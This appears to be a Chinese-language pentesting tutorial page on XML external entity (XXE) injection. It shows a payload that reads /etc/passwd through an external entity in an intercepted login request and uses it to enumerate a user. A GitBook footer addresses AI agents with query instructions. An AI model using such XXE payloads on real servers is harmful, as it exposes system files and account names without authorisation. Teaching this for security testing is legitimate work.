> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md).

# XXE 用户枚举

## XXE（XML 外部实体注入）：

<figure><img src="/files/41d82c8a2071ae6b5135a721d721a33fd51d8a99" alt=""><figcaption></figcaption></figure>

#### 使用 Burp Suite 拦截的源代码分析（XML 结构）

<figure><img src="/files/0a8c5feac61384106b5edc69b97b275a48d6382f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/18793939194c8f9acd76662bdc5c2a9c29487827" alt=""><figcaption></figcaption></figure>

#### XXE（XML 外部实体注入）攻击尝试

* 将请求方法从 GET 修改为 POST。

<figure><img src="/files/5a326f5828ee8dfce88a779312f778f7200c3625" alt=""><figcaption></figcaption></figure>

* 在 POST 请求中尝试注入打印机型号 XXE。

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		乔丹
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* 观察服务器解释打印机模型 XXE 的方式。

<figure><img src="/files/0cfa7f20f2bad02fe93be44ca7705a620e9b8f77" alt=""><figcaption></figcaption></figure>

* 要访问文件系统，我们应该创建一个新的 **实体**，例如“myFile”，如下： `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` 然后，在一个变量中，我们应该用“**/\&myFile**”像这样：

<figure><img src="/files/828122ea016ef30593de5931814c66a9faeb5511" alt=""><figcaption></figcaption></figure>

#### 识别名为“ftpUserULTRA”的用户

<figure><img src="/files/dc0317d6933885b771b94355674ad71b43005d70" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
